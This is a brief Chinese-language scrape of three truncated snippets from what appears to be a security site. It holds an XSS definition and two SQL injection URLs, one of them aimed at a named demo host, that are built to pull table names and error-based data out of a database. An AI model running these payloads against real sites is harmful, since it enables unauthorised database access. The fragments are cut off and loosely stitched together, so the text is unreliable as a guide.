（一）概念说明Xss(cross-site scripting 攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码，当用户浏览该页或者进行某些操作时，攻击者利用用户对原网站的信任，诱骗用户或浏览器执行一些不安全的操作或者向其它网...

简要描述： http://demo.duoduo123.com/huangou.php?id=-1%20union%20select%201,2,3,group_concat%28table_name%29,5,6,7,8%20from%20in...

你懂的。。。 wap/index.php?mod=pm&pm_new=and(select%201%20from(select%20count(* ,concat((select%20(select%20(select%20concat(...